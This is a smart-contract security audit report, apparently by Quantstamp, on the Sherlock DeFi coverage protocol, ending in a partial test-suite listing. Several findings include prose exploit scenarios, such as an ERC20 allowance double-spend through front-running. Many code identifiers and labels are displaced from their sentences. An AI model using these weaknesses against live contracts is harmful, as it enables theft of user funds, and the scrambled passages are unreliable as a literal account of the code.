Update:"There are still some unknowns around the exact tokenomics. Leaving this freedom to the calling account gives more freedom to execute on a payout." QSP-6 Non-empty Strategies Can Be Removed Without Sweeping Severity: Medium Risk Fixed Status: File(s) affected: PoolStrategy.sol As described in one comment of that says that this function , in case of faulty strategies there can be financial loss of strategy has tokens. Description:strategyRemove() don't check if the current strategy balance = 0 Including sweeping functions to save remaining ETH or ERC20 tokens on a faulty strategy before inside the call to . Recommendation: strategyRemove() Fixed in PR. Update: this QSP-7 Privileged Roles Severity: Low Risk Acknowledged Status: , , File(s) affected: Gov.sol PoolDevOnly.sol GovDev.sol Description: 1. From the protocol overview: "Our claims committee will be the final arbiters in deciding whether a certain hack falls under coverage and therefore should be paid out."2. Within, several protocol parameters may be changed, e.g., . Gov.sol unstakeWindow 3. The owner is responsible for setting token prices and protocol premiums.No oracles are used for pricing. 4. The diamond pattern would allow the owner to add arbitrary code to the solution as facets via. GovDev.updateSolution Also, other privileged roles should be documented, which can perform a series of actions that could affect end-users: • The main governance role can do the following:Change the address of the main governance role at any time. •Change the Watson's address at any time. •Set the length of the unstake window to any value under 10 years, at any time. •Set the length of the cooldown period to any value under 10 years, at any time. •Add new protocols at any time. •Update the protocol agent at any time. •Add any ERC20 tokens the protocol is allowed to pay in at any time. •Remove protocols that do not have debt. •Initialize a new token. •Disable any of the added ERC20 tokens with 0 active weight, for staking. •Disable any covered protocol if the active premium and active underlying are 0. •Sell/swap ERC20 tokens from the pool at any time. •Remove ERC20 tokens from the pool if they are not used by stakers or protocols. •Set the price of any ERC20 token in USD at any time. •Set the premium amounts for a protocol using multiple ERC20 tokens. •Change the address of the payout governance, at any time. •Set initial SHERX distribution to Watsons, once. •Set the SHERX distribution (weights) to different ERC20 tokens at any time. •• The GovDev role can do the following:•Set the initial main governance address, once. •Change the GovDev address, at any time. •Delete, update or add functions to the Sherlock smart contract. •Set the initial governance payout address, once. •Initialize the SherXERC20 token, once. •Stake in the contract. No other role can stake in this pool. • PoolDevOnly All these privileged actions and their consequences should be made clear via end-user-facing documentation. Recommendation: Acknowledged by Sherlock team. The detailed response was . Update: "Will be documented" QSP-8 Unchecked Assumption In Payout Severity: Low Risk Fixed Status: File(s) affected: Payout.sol The function is called on L80 in if . The assumption here is that the following condition will hold after this function call: . However, there is no proof or clear guarantee that it will hold. This is partially handled by the .sub in the else branch below (ps.sherXUnderlying = ps.sherXUnderlying.sub(amounts[i]);), but missed in the if-branch. Description:LibPool.payOffDebtAll(tokens[i]) Payout.sol amounts[i] > ps.sherXUnderlying amounts[i] <= ps.sherXUnderlying Add an on L81 inside the -statement after the function call, to verify the assumption holds. Recommendation: assert(amounts[i] <= ps.sherXUnderlying) if Fixed in PR. Update: this QSP-9 Unchecked Assumption In SherX Severity: Low Risk Acknowledged Status: File(s) affected: SherX.sol The function allows the caller to specify an of tokens that should be transferred from the address to the address. However, there is no explicit check inside this function, which ensures that the . This could lead to an inappropriate amount of tokens being used for computations of the . Description:SherX.doYield amount from to amount <= ps.lockToken.balanceOf(from) ineglible_yield_amount Check if and if so the value of the should be capped to or the execution should throw. Recommendation:amount > ps.lockToken.balanceOf(from) amount ps.lockToken.balanceOf(from) Acknowledged by Sherlock team. The detailed response was . Update:"Calling functions already take care of this. It’s zero in case of harvest() call. And between 0 and user balance if called from token transfer." QSP-10 Ignored Return Values Severity: Low Risk Mitigated Status: File(s) affected: AaveV2.sol The and functions call the Aave lending pool function which returns the final amount withdrawn. Since this is an external contract and we have seen several past attacks where the vulnerable code has made implicit assumptions on calls to external contracts without explicitly checking them, we believe that this poses a risk in case the amount withdrawn from Aave would be much lower than the expected amount. Description:AaveV2.withdrawAll AaveV2.withdraw withdraw Check the return values of functions from external contracts and throw or handle appropriately if the result is not as expected. Recommendation: Mitigated in PR. Not fixed for the case. Update: this withdrawAll() QSP-11 Staker Funds Are Reinvested On Other DeFi Platforms Severity: Low Risk Acknowledged Status: File(s) affected: PoolStrategy.sol The funds deposited by with the purpose of covering platforms in case of a hack are reinvested on other DeFi platforms to increase yield. This puts the reinvested funds at risk of getting stolen by any hacks or insolvency of the DeFi platforms that are used for investing. At the moment the only platform that is used is Aave and therefore the risk is Low. However, if other (less secure) platforms will be used in the future, then the risk might increase. Description:stakers staker Do not place stakeholder funds at risk by depositing them in other DeFi platforms. Recommendation: Acknowledged by Sherlock team. The detailed response was . Update: "Aave uses the safety module. Protects user funds." QSP-12 Protocol Premium Change Issue Severity: Low Risk Acknowledged Status: File(s) affected: Manager.sol Theand functions are used to change the premium amount for one or more protocols. These functions all make a call to which pays off the accrued debt of all whitelisted protocols that use a specific token. However, if any of these protocols do not have sufficient balance for the debt to be paid off, it will cause the whole transaction to revert and the protocol premium price will remain unchanged (for any unrelated protocol). Description:Manager.setProtocolPremium Manager.setProtocolPremiumAndTokenPrice LibPool.payOffDebtAll Assuming there are 2 protocols A & B both paying the premium using the same ERC20 token. Protocol B also pays a large percentage of the premium using another ERC20 token that is stable and hence the premium for protocol B does not need to change: Exploit Scenario:1. Protocol A needs a mid-week premium change because the price of the token has fallen.2. The governance account calls. Manager.setProtocolPremium 3. Protocol B has insufficient balance to pay off their debt and the whole transaction is reverted meaning the premium for protocol A cannot be changed unless protocol Bis removed. This dependency between protocols when it comes to changing the premium amount should be eliminated such that premium amounts can be changed independently of whether any other protocol has sufficient balance to pay off their debt. Remove the calls to inside of both functions. Recommendation:LibPool.payOffDebtAll Manager.setTokenPrice Acknowledged by Sherlock team. Update: QSP-13 Unlocked Dependencies Severity: Low Risk Mitigated Status: File(s) affected: package.json All dependency versions inside are unlocked due to before the version number. Moreover, the core dependency, namely the is specified without any version number, which means that the latest commit from the branch will be used when calling . Such a commit might be insecure or unstable since it is not necessarily a release commit. Description:package.json ^ repo diamond-2 master yarn install Fix all dependency versions to stable release versions. Recommendation: Mitigated in PR. Some dependencies are still unlocked. Update: this QSP-14 Missing Input Validation Severity: Low Risk Acknowledged Status: , , File(s) affected: GovDev.sol Payment.sol PoolBase.sol The following functions are missing input parameter validation: Description: 1. Thefunction does not check if the parameter is different from . GovDev.transferGovDev() _govDev address(0) 2. Themethod does not check if the same token address is provided twice in the input array parameter. Payment.payment() _tokens 3. Theand values are not checked to be less than the available amounts in the pools. There is an implicit check by using SafeMath functions which will fail if these conditions are false, but will not provide a proper error message. _amounts_firstMoneyOut 4. Theinput parameter of the function is not explicitly checked to be less than . This could lead to an error in the function call on L292, without any error message. _amountPoolBase.withdrawProtocolBalance ps.protocolBalance[_protocol] sub() 5. Thefunction does not impose an upper limit on the parameter value and this fee can be changed at any time by the governance account. PoolBase.setCooldownFee_fee Add input parameter validation to each of the functions indicated in the enumeration above. Recommendation: A case was fixed in PR. The other cases were acknowledged. Update: this QSP-15 Gas Concerns Severity: Low Risk Mitigated Status: , , , , , , File(s) affected: Gov.sol Manager.sol Payout.sol PoolBase.sol SherX.sol LibPool.sol LibSherX.sol The following smart contract functions contain loops and could lead to an out-of-gas error if the number of supported ERC20 tokens and/or protocols by Sherlock is too large: Description: 1. loops over the number of ERC20 tokens underlying SHERX. Gov.protocolRemove 2. loops over the number of ERC20 tokens underlying SHERX. Payout._doSherX 3. loops over the number of ERC20 tokens underlying SHERX. SherX.calcUnderlyingInStoredUSD 4. loops over the number of ERC20 tokens stakers are allowed to stake in. SherX.harvestFor 5. loops over the number of ERC20 tokens stakers are allowed to stake in. SherX.setInitialWeight 6. loops over the number of ERC20 tokens stakers are allowed to stake in. SherX.redeem 7. loops over the number of protocols registered in the corresponding pool. LibPool.payOffDebtAll 8. loops over the number of ERC20 tokens underlying SHERX. LibSherX.calcUnderlying 9. loops over the number of ERC20 tokens stakers are allowed to stake in. LibSherX.accrueSherX 10. loops over many protocols and tokens. In particular, because is a double loop, the inner call to may be invoked many times for the same token. Manager.setProtocolPremiumLibPool.payOffDebtAll(_token[i][j]); Note that these are not the only functions with loops. There is a large number of functions with loops in the code base, where the loop boundary is given by the length of one of the input arrays to the corresponding function. Since those functions are external functions we assume that the caller will be notified by their wallet software in case the length of the input array is too large. However, all functions with loops should be in scope for this issue. Enforce a maximum number of:Recommendation: 1. ERC20 tokens underlying SHERX.2. ERC20 tokens stakers are allowed to stake in.3. Protocols registered in a pool.Such that none of the aforementioned functions would lead to an out-of-gas error. Mitigated in PR. Still not fully confirmed that 256 tokens and pools do not lead to an out-of-gas error. Update: this QSP-16 Integer Overflow Severity: Low Risk Fixed Status: File(s) affected: SherX.sol The and input parameters of the function are and respectively. However, both input parameters are cast to on L221 and L215, respectively. This can cause an integer overflow/truncation of the actual value passed in as input. Description:_watsons _weights SherX.setWeights uint256 uint256[] uint16 Change the input parameter types to and remove the casts. Recommendation: uint16 Fixed by Sherlock team. The detailed response was . Update: "Changing to uint16 doesn’t allow to check for uint256.max, this variable is used to not change the watsons address." QSP-17 Transfers of Zero Coins Allowed Severity: Informational Acknowledged Status: File(s) affected: SherXERC20.sol Functions and of allows for a valid transfer of a zero amount of token from any account to any account. This has not a severe impact but can generate false alerts on transferences from wallets, pollute logging systems, and generate wash trading to collect possible future rewards. This is allowed by the ERC20 specification. From : "Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event." Description:transferFrom() transfer() SherXERC20 EIP-20 Acknowledged by Sherlock team. Update: QSP-18 Cooldown Period Could Be Excessively Long Severity: Informational Acknowledged Status: File(s) affected: Gov.sol The governance can set the cooldown period to 25 million blocks, which (assuming a block time of 13 seconds) is over 10 years. This is an excessive amount of time for stakers to wait before they can withdraw their funds. Description:The maximum cooldown period should be set to a reasonable amount of time. Recommendation: Acknowledged by Sherlock team. Update: QSP-19 Unlocked Pragma and Different Solidity Versions Severity: Informational Fixed Status: File(s) affected: all contracts except for IAaveDistributionManager.sol and IAveIncentivesController.sol All affected contracts have an unlocked pragma, but removing the is not sufficient to fix the problem, because different files use different versions. The following versions were observed: Description:^ 0.7.0 •0.7.1 •0.7.4 •0.7.6 •Either use the latest version from the list of versions in the description (i.e., 0.7.6) or use one of the latest versions i.e., 0.8.6, which allows removing all calls to SafeMath and leads to lower gas costs. Recommendation:Fixed in PR. Update: this QSP-20 Stakeholder Incentives Are Not Fully Aligned Severity: Informational Acknowledged Status: There is a conflict of interest between the protocols and the security team because the security team is paid a percentage out of the total premium that the protocol pays to Sherlock AND the security team determines the premium price as well. This means that the security team is in theory incentivized to provide a high premium price for a protocol, which would also be beneficial for the Sherlock treasury and for the stakers. However, in practice the premium prices need to be competitive on the DeFi insurance market, otherwise, protocols will not pay it. Description:Provide a transparent actuarial model where protocols can easily use to compute the premium themselves. It is also not clear how the premium increases (mathematical Recommendation: function) if the Sherlock security team finds an issue later on which it flags to the protocol, but the protocol does not fix this issue within a reasonable time frame.Acknowledged by Sherlock team. The detailed response was . Update:"Core team + internal standard for pricing will regulate security experts who seem to be deliberately pricing too low or too high. Eventually this regulation may be managed by SHER tokenholders." QSP-21 Important Contract Operations Cannot Be Easily Monitored Severity: Informational Acknowledged Status: File(s) affected: All contracts are affected. The contract does not declare any events, which makes it difficult for 3rd party integrators to monitor the actions performed by the smart contracts. Description: The only exception is the file that defines and emits the event. SherX.sol Harvest Declare and emit meaningful events in all smart contract functions that perform state changes. Recommendation: Acknowledged by Sherlock team. Update: QSP-22 Allowance Double-Spend Exploit Severity: Informational Acknowledged Status: , File(s) affected: SherXERC20.sol NativeLock.sol As it presently is constructed, the contract is vulnerable to the , as with other ERC20 tokens. Description: allowance double-spend exploit Exploit Scenario: 1. Alice allows Bob to transferamount of Alice's tokens ( ) by calling the method on smart contract (passing Bob's address and as method arguments) NN>0 approve() Token N 2. After some time, Alice decides to change fromto ( ) the number of Alice's tokens Bob is allowed to transfer, so she calls themethod again, this time passing Bob's address and as method arguments NMM>0approve() M 3. Bob notices Alice's second transaction before it was mined and quickly sends another transaction that calls themethod to transfer Alice's tokens somewhere transferFrom()N 4. If Bob's transaction will be executed before Alice's transaction, then Bob will successfully transferAlice's tokens and will gain an ability to transfer another tokens N M 5. Before Alice notices any irregularities, Bob callsmethod again, this time to transfer Alice's tokens. transferFrom() M The exploit (as described above) is mitigated through use of functions that increase/decrease the allowance relative to its current value, such as and . Recommendation:increaseAllowance() decreaseAllowance() Pending community agreement on an ERC standard that would protect against this exploit, we recommend that developers of applications dependent on / should keep in mind that they have to set allowance to 0 first and verify if it was used before setting the new value. Teams who decide to wait for such a standard should make these recommendations to app developers who work with their token contract. approve()transferFrom() Note that already mitigates this by implementing the and functions. However, these functions are not called using the de-facto standard names of and . Moreover, end-users that do not know about this vulnerability could directly use the function. SherXERC20increaseApproval decreaseApproval increaseAllowance decreaseAllowance approve Acknowledged by Sherlock team. Update: QSP-23 May Be Called Multiple Times initializeSherXERC20 Severity: Informational Fixed Status: File(s) affected: SherXERC20.sol This would re-instantiate and . It is not clear why this is allowed. Description: name symbol Revert if the existing or have already been set. Recommendation: name symbolFixed in PR. Update: this QSP-24 Unused Protocol Manager and Agent Variables Severity: Informational Acknowledged Status: File(s) affected: Gov.sol Functionality for and are set in L161-162 but never used. This makes the audit and maintenance of the code more difficult. Description: protocolManagers protocolAgents Remove all variables and functionality that is never used. Recommendation: Acknowledged by Sherlock team. Update: QSP-25 Strong Dependency On Block Numbers For Financials Severity: Undetermined Acknowledged Status: , , , , , File(s) affected: Gov.sol SherX.sol Manager.sol PoolBase.sol LibSherX.sol LibPool.sol There is a strong dependency onfor financial calculations in at least 31 places inside the code. Current trends of Dapps observe them migrated to Layer2 platforms compatible with Solidity contracts for speed and gas costs. Due to block times and speed changes being totally different (usually much faster) in Layer2 chains, this can result in financials extremely disrupted in Layer2 if contracts are migrated in the current state to L2. A more certain impact, but of smaller size, will impact the deployed contracts on the future automated migration to Ethereum 2.0, as current block time is approximately 13.34 seconds but Ethereum 2.0 is designed for a block time of 12 seconds. This can result in tokenomics distorted for Ethereum 2.0 or malicious users leveraging a Layer2 deployments to obtain an unfair advantage over Layer1 users. Description:block.number block.number Consider using instead of for financial calculations, the calculations are very similar but with a different scale considering that 1 second can be considered like a virtual block accruing financial results. Recommendation:block.timestamp block.number Acknowledged by Sherlock team. Update: Automated Analyses Slither Slither did not report any significant issues. Mythril Mythril did not report any significant issues. Adherence to Specification 1. It is a bit difficult to follow the architecture. The way the facets break up the system makes it unclear which users need to interact with which functions. Putting thedocstrings in the interfaces instead of the contracts themselves actually makes the code harder to follow, and some internal/private functions do not appear documented because of this. Certain functions names are unclear. For example, has a function that is a view function. lacks a description. Manager.sol_updateData Payout._doSherX 2. If any of the protocol's default on their premium payments, seems that it is the responsibility of the governance to remove that protocol before doing anything else.Otherwise many functions will fail, such as anything that invokes . May want to document this. LibPool.payOffDebtAll(_token[i]); 3. In, we have these two lines: PoolStorage.sol // How much token (this) is available for SherX holders uint256 sherXUnderlying; Why is "(this)" used there? Alternatively, if this variable does correspond to "this" contract, why is the name "underlying"? 1. In, we have the following snippet: LibPool.stake if (totalLock == 0) { // mint initial lock lock = 10**18; } Would it make more sense to this to mint ? I'm not sure if this would significantly change the math, but it might mitigate some rounding issues if the initial stake is huge. lock = _amount * 10 ** 181. Why doesexist? I don't see how this does anything beyond . Is the idea to first add the restricted function via the diamond pattern so the Sherlock team could pre-stake, and then later replace it with ? This could use documentation. PoolDevOnly.stakePoolOpen.stake PoolDevOnly.stake PoolOpen.stake 2. The functionhas several parts that require clarification: tokenUnload 1. It describes some token "swap" logic that occurs through, which implements the interface. It is not entirely clear why this is needed or how it will be implemented, as there is no implementation of outside of a mock contract. _native.swapIRemove swap 2. It is unclear why theis aliased as , which is sent to an arbitrary address as specified by governance. Will stakers be able to claim their SherX from this address? ps.unallocatedSherXtotalFee _remaining _remaining 3. It is unclear why the newis deleted at the end of the function, but the amount is not transferred out; only is transferred to . ps.firstMoneyOutps.stakeBalance.sub(ps.firstMoneyOut) _remaining 3. In, the comment states: . Does this conform to the implementation? I only see the return value of changed here: Payout._doSherX/// @return sherUsd Total amount of USD of the underlying tokens that are being transferred sherUsd if (address(tokens[i]) == _exclude) { // Return USD value of token that is excluded from payout sherUsd = amounts[i].mul(sx.tokenUSD[tokens[i]]); } Code Documentation 1. It is unclear what the following comment on L18 inis indicating: // Once transaction has been mined, protocol is officially insured. Manager.sol 2. Typo on L349 in: "Dont change usdPool is prices are equal" -> "Don't change usdPool if prices are equal". Manager.sol 3. In, the variable should be "ineligible". SherX.sol ineglible_yield_amount Adherence to Best Practices 1. Error messages instatements are unclear, e.g. , , , . It is recommended to add code comments describing each error in more detail and/or to add a docs page with a table where each error message is mapped to a comprehensive description. requireZERO_GOV MAX DEBTWHITELIST2.Magic numbers should be replaced by named constants where the name of the constants should provide a semantic meaning of the value for that constant:appears twice in 25000000 Gov.sol • appears numerous times in , , , , 10**18 Manager.sol Payout.sol PoolBase.sol SherX.sol LibPool.sol • appears once in 10e17Payout.sol • 3. Commented code should be removed:L341-342 in contain commented code. Gov.sol• 4. Unused code features should be removed. This refers to code that is not commented-out, but which has a "//NOTE: UNUSED" comment associated with it. We havenoticed that in the Sherlock protocol the feature should not be used, but the code facilitates its use. protocolMangers L89, L161 in Gov.sol • L17 in GovStorage.sol• 5. Keep the code as simple (readable) as possible. The following are examples where this best practice is not respected:The modifier takes 2 input parameters i.e., and . However, is always derived from before is called: onlyValidToken ps _tokenps _token onlyValidToken • PoolStorage.Base storage ps = PoolStorage.ps(_token); onlyValidToken(ps, _token); LibPool.payOffDebtAll(_token); Simplify and optimize the gas consumption of complex arithmetic expressions by replacing divisions with multiplications, e.g. on L168 in the following expression: may be simplified in the following way: . Payment.solexcludeUsd.div(curTotalUsdPool.div(SherXERC20Storage.sx20().totalSupply)).div(10e17) excludeUsd.mul(SherXERC20Storage.sx20().totalSupply).div(curTotalUsdPool*10e17) •6. Error messages instatements are ambiguous, e.g. "AMOUNT". We recommend providing more context like the function where the error occurs and ideally a message indicating why it occurs. require7. It is not clear whyexists if "UNUSED". Gov.getProtocolManager 8. All functions (including private/internal ones) should have descriptive names and documentation. Functions such asare unclear. State variables should also be documented. _doSherX9. In, the variable names and should not be used as they shadow the SafeMath functions, making expressions such as unnecessarily complicated. Manager.updateDatasub addusdPerBlock.sub(sub.sub(add).div(10**18)) 10. Some functions are unnecessarily duplicated. For example, is the same as . SherX.getUnmintedSherX LibPool.getTotalUnmintedSherX 11. One example of naming convention issues --defines as follows: PoolStorage stakeBalance // The total amount staked by the stakers in this pool, **including value of `firstMoneyOut`** // if you exclude the `firstMoneyOut` from this value, you get the actual amount of tokens staked // This value is also excluding funds deposited in a strategy. uint256 stakeBalance; But then defines a function called that takes the and removes . LibPool.sol stakeBalance PoolStorage.stakeBalance firstMoneyOut 1. Review compiler warnings and remove useless ones with pragma directives to have a clean output. For example, for interface usage there are usually unused variableswarning, remove these onew with for compiler linter or using the variables without effects. // solhint-disable-next-line function swapUnderlying(uint256 _underlying) private returns (uint256) { _underlying = 0; // void assignment to avoid warnings return underlying; } 1. We recommend adding more inline comments and adding new tests to the test suite to reflect new findings in this report.all best practices discussed or fixed in PR. Update: this Test Results Test Suite Results The test suite is excellent with a total of 442 tests passing and 0 tests failing (on run, on run there are some test failing designed to test stuff live on Ethereum Mainnet). coveragetest Gov setInitialGovMain() ✓ Initial state ✓ Do (49ms) transferGovMain() ✓ Initial state ✓ Do setWatsonsAddress() ✓ Initial state ✓ Do ✓ Do again fail ✓ Do again setUnstakeWindow() ✓ Initial state ✓ Do setCooldown() ✓ Initial state ✓ Do protocolAdd() ✓ Initial state (52ms) ✓ Do (71ms)protocolUpdate() ✓ Do protocolDepositAdd() ✓ Initial state ✓ Do max (60ms) ✓ Do protocolRemove() ✓ Do protocolRemove() ─ Debt ✓ Remove fail ✓ Remove fail, not removed from pool (62ms) ✓ Remove success (71ms) tokenInit(), exceed limits ✓ Exceed staker limit (48ms) ✓ Exceed premium limit tokenInit() ✓ Do (61ms) ✓ Do 2 (54ms) ✓ Do 3 (50ms) tokenInit() - reinit ✓ Do stake reenable (63ms) ✓ Do protocol reenable (63ms) ✓ Do gov reinit tokenDisableStakers() ✓ Do (40ms) tokenDisableStakers() ─ Active weight ✓ Do tokenDisableStakers() ─ Staker Withdraw ✓ Do ✓ Cooldown ✓ Unstake (46ms) tokenDisableStakers() ─ Harvest ✓ Do ✓ Harvest fail ✓ Harvest success (56ms) tokenDisableProtocol() ✓ Do (38ms) tokenDisableProtocol() ─ Active Premium ✓ Do tokenDisableProtocol() ─ Active SherX ✓ Do tokenUnload() ─ Active premium ✓ Do tokenUnload() ─ Active strategy ✓ Do tokenUnload() ─ Active balances (+activate cooldown) ✓ Initial state ✓ Do swap, token not added (44ms) ✓ Add token (66ms) ✓ Do (84ms) ✓ Remove ✓ Harvest fail tokenRemove() ✓ Do tokenRemove() ─ Premiums set ✓ Do tokenRemove() ─ Active protocol ✓ Do tokenRemove() ─ Balance & FMO ✓ Balance tokenRemove() ─ SherX ✓ Do tokenRemove() ─ Readd, verify unstake ✓ Initial state ✓ Do ✓ Readd ✓ Stake (121ms) setMaxTokensSherX() ✓ Initial state ✓ Do ✓ Do again setMaxTokensStaker() ✓ Initial state ✓ Do ✓ Do again setMaxProtocolPool() ✓ Initial state ✓ Do ✓ Do again GovDev ✓ Initial state transferGovDev() ✓ Do ✓ Do again renounceGovDev() ✓ Do ✓ Do again Manager - Clean ✓ Initial state (73ms) setTokenPrice(address,uint256) ✓ Do (111ms) ✓ Do again (105ms) setTokenPrice(address[],uint256[]) ✓ Do (111ms) ✓ Do again (111ms) setPPm(bytes32,address,uint256) ✓ Do (101ms) ✓ Do again (106ms) setPPm(bytes32,address[],uint256[]) ✓ Do (125ms) ✓ Do again (118ms) setPPm(bytes32[],address[][],uint256[][]) ✓ Do (128ms) ✓ Do again (133ms) setPPmAndTokenPrice(bytes32,address,uint256,uint256) ✓ Do (108ms) ✓ Do again (109ms) setPPmAndTokenPrice(bytes32,address[],uint256[],uint256[]) ✓ Do (118ms) ✓ Do again (125ms) setPPmAndTokenPrice(bytes32[],address,uint256[],uint256) ✓ Do (109ms) ✓ Do again (108ms) setPPmAndTokenPrice(bytes32[],address[][],uint256[][],uint256[][]) ✓ Do (138ms) ✓ Do again (146ms) Manager - Active ✓ Initial state (76ms) setTokenPrice(address,uint256) ✓ Do (109ms) setTokenPrice(address[],uint256[]) ✓ Do (118ms) setPPm(bytes32,address,uint256) ✓ Do (106ms) setPPm(bytes32,address[],uint256[]) ✓ Do (119ms) setPPm(bytes32[],address[][],uint256[][]) ✓ Do (136ms) setPPmAndTokenPrice(bytes32,address,uint256,uint256) ✓ Do (111ms) setPPmAndTokenPrice(bytes32,address[],uint256[],uint256[]) ✓ Do (119ms) setPPmAndTokenPrice(bytes32[],address,uint256[],uint256) ✓ Do (111ms) setPPmAndTokenPrice(bytes32[],address[][],uint256[][],uint256[][]) ✓ Do (137ms) Manager - No Weights✓ Initial state (55ms) ✓ Set premium (87ms) ✓ Set premium again (84ms) ✓ Set watsons and premium (111ms) ✓ Set premium again (86ms) Payout ✓ Initital state First Money Out ✓ Do (58ms) Stake Balance ✓ Do (60ms) Payout - SherX ✓ Initital state (63ms) Not excluding ✓ Do complete depletion ✓ Do premium token ✓ Do (125ms) Excluding tokenC ✓ Do (113ms) With unpaid premium ✓ Initital state ✓ Do (91ms) Payout - Non active ✓ Initial state ✓ Do (55ms) Payout - Using unallocated SHERX ✓ Initital state (57ms) ✓ Do (108ms) Pool setCooldownFee() ✓ Initial state ✓ Do depositProtocolBalance() ✓ Initial state ✓ Do ✓ Do twice withdrawProtocolBalance() ✓ Initial state ✓ Do (40ms) ✓ Do exceed ✓ Do full (38ms) stake() ✓ Initial state ✓ Do (71ms) ✓ Do bob (80ms) activateCooldown() ✓ Initial state ✓ Do (75ms) ✓ Expired activateCooldown() ─ Fee ✓ Initial state (43ms) ✓ Do too much ✓ Do (102ms) ✓ Expired cancelCooldown() ✓ Initial state ✓ Do (57ms) ✓ Do twice cancelCooldown() ─ Expired ✓ Do unstakeWindowExpiry() ✓ Initial state ✓ Not expired, t=1 ✓ Not expired, t=2 ✓ Do (58ms) ✓ Do twice unstake() ✓ Initial state (45ms) ✓ Do (84ms) ✓ Do twice unstake() ─ Expired ✓ Cooldown active, t=1 ✓ Window of opportunity, t=2 ✓ Expired, t=3 unstake() ─ First Money Out ✓ Initial state ✓ Do (53ms) payOffDebtAll() ✓ Initial state ✓ t=1 ✓ Do (46ms) cleanProtocol() ✓ Initial state ✓ Do (63ms) cleanProtocol() ─ Accrued debt (no force) ✓ Initial state ✓ Do (61ms) cleanProtocol() ─ Accrued debt (force) ✓ Initial state ✓ Do (58ms) cleanProtocol() ─ Accruing debt ✓ Do (69ms) cleanProtocol() ─ No Debt ✓ Do Exchange rates ✓ Initial state (48ms) ✓ Initial user stake (70ms) ✓ payout ✓ After payout exchange rates (38ms) Exchange rates, non 18 decimals ✓ Initial state (39ms) ✓ Initial user stake (67ms) PoolStrategy strategyRemove() ✓ Initial state ✓ Do ✓ Do again strategyRemove(), sweep ✓ Initial state ✓ Do ✓ Do again strategyUpdate() ✓ Initial state ✓ Do ✓ Do again ✓ Do again (active balance) (78ms) strategyDeposit() ✓ Initial state ✓ Do strategyWithdraw() ✓ Initial state ✓ Do strategyWithdrawAll() ✓ Initial state ✓ Do Production ✓ Verify non-dev fail ✓ Verify dev success (51ms) SherX setInitialWeight() ✓ Do unset ✓ Do ✓ Do twice✓ Do twice, with move (62ms) setWeights() ✓ Initial state ✓ Do ✓ Do disabled ✓ Do wrong ✓ Do tokenB, exceed sum (57ms) ✓ Do tokenB, beneath sum ✓ Do tokenB, single ✓ Do overflow ✓ Do overflow with watsons ✓ Do 30/70 (43ms) ✓ Do watsons, exceed sum ✓ Do watsons, below sum ✓ Do watsons, 10/20/70 (49ms) ✓ Do watsons, 20/10/70 (43ms) harvestFor(address,address) ✓ Initial state (69ms) ✓ Setup (115ms) ✓ Do (105ms) ✓ Do wait (79ms) ✓ Do again (103ms) harvest calls ✓ harvest() ✓ harvest(address) ✓ harvest(address[]) ✓ harvestFor(address) ✓ harvestFor(address,address) ✓ harvestFor(address,address[]) redeem() ─ stale ✓ Initial state (93ms) ✓ Do (119ms) redeem() ─ moving ✓ Initial state (103ms) ✓ Do (156ms) calcUnderlying() ✓ Initial state (51ms) ✓ t=1 (65ms) ✓ t=2 (67ms) ✓ t=3 (66ms) ✓ t=4, update (112ms) ✓ t=5 (64ms) ✓ t=6 (66ms) accrueSherX(address) ✓ Initial state (75ms) ✓ Do (93ms) accrueSherX() ✓ Initial state (78ms) ✓ Do (98ms) accrueSherXWatsons() ✓ Initial state ✓ Do (39ms) SherXERC20 ✓ Initial state ✓ increaseAllowance() ✓ decreaseAllowance() ✓ approve() SherXERC20 - Active ✓ Initial state transfer() ✓ Do transferFrom() ✓ Fail ✓ Fail again ✓ Do ✓ Do again ✓ Do fail burn Stateless Gov ─ State Changing setInitialGovMain() ✓ Invalid sender ✓ Invalid gov ✓ Success transferGovMain() ✓ Invalid sender ✓ Invalid gov ✓ Invalid gov (same) ✓ Success setWatsonsAddress() ✓ Invalid sender ✓ Invalid watsons setUnstakeWindow() ✓ Invalid sender ✓ Invalid window (zero) ✓ Invalid window ✓ Success setCooldown() ✓ Invalid sender ✓ Invalid cooldown (zero) ✓ Invalid cooldown ✓ Success protocolAdd() ✓ Invalid sender ✓ Invalid protocol ✓ Invalid protocol (zero) ✓ Invalid agent (zero) ✓ Invalid manager (zero) ✓ Invalid token ✓ Success protocolUpdate() ✓ Invalid sender ✓ Invalid protocol ✓ Invalid protocol (zero) ✓ Invalid agent (zero) ✓ Invalid manager (zero) ✓ Success protocolDepositAdd() ✓ Invalid sender ✓ Invalid protocol ✓ Invalid protocol (zero) ✓ Invalid lengths (zero) ✓ Already added ✓ Invalid token protocolRemove() ✓ Invalid sender ✓ Invalid protocol ✓ Invalid protocol (zero) ✓ ~ state helper ~ ✓ Success tokenInit() ✓ Invalid sender ✓ Invalid lock ✓ Invalid token (zero) ✓ Invalid stake (owner) ✓ Invalid govpool (zero) ✓ Invalid supply ✓ Invalid underlying ✓ Invalid stakes ✓ Invalid premiums ✓ Success tokenDisableStakers() ✓ Invalid sender ✓ Invalid index ✓ Invalid token ✓ Success tokenDisableProtocol() ✓ Invalid sender ✓ Invalid index✓ Invalid token ✓ Success tokenUnload() ✓ Invalid sender ✓ Invalid token ✓ Invalid native ✓ Invalid sherx ✓ Stakes set ✓ Success tokenRemove() ✓ Invalid sender ✓ Invalid token ✓ Invalid token (zero) ✓ Not disabled ✓ Success setMaxTokensSherX() ✓ Invalid sender setMaxTokensStaker() ✓ Invalid sender setMaxProtocolPool() ✓ Invalid sender GovDev ─ State Changing transferGovDev() ✓ Invalid sender ✓ Invalid gov (zero) ✓ Invalid gov (same) renounceGovDev() ✓ Invalid sender updateSolution() ✓ Invalid sender ✓ Success Manager ─ State Changing setTokenPrice(address,uint256) ✓ Invalid sender ✓ Invalid token (sherx) ✓ Invalid token setTokenPrice(address[],uint256[]) ✓ Invalid sender ✓ Invalid length ✓ Invalid token (sherx) ✓ Invalid token setPPm(bytes32,address,uint256) ✓ Invalid sender ✓ Invalid protocol ✓ Invalid token (sherx) ✓ Invalid token setPPm(bytes32,address[],uint256[]) ✓ Invalid sender ✓ Invalid length ✓ Invalid protocol ✓ Invalid token (sherx) ✓ Invalid token setPPm(bytes32[],address[][],uint256[][]) ✓ Invalid sender ✓ Invalid length 1 ✓ Invalid length 2 ✓ Invalid length 3 ✓ Invalid protocol ✓ Invalid token (sherx) ✓ Invalid token setPPmAndTokenPrice(bytes32,address,uint256,uint256) ✓ Invalid sender ✓ Invalid protocol ✓ Invalid token (sherx) ✓ Invalid token setPPmAndTokenPrice(bytes32,address[],uint256[],uint256[]) ✓ Invalid sender ✓ 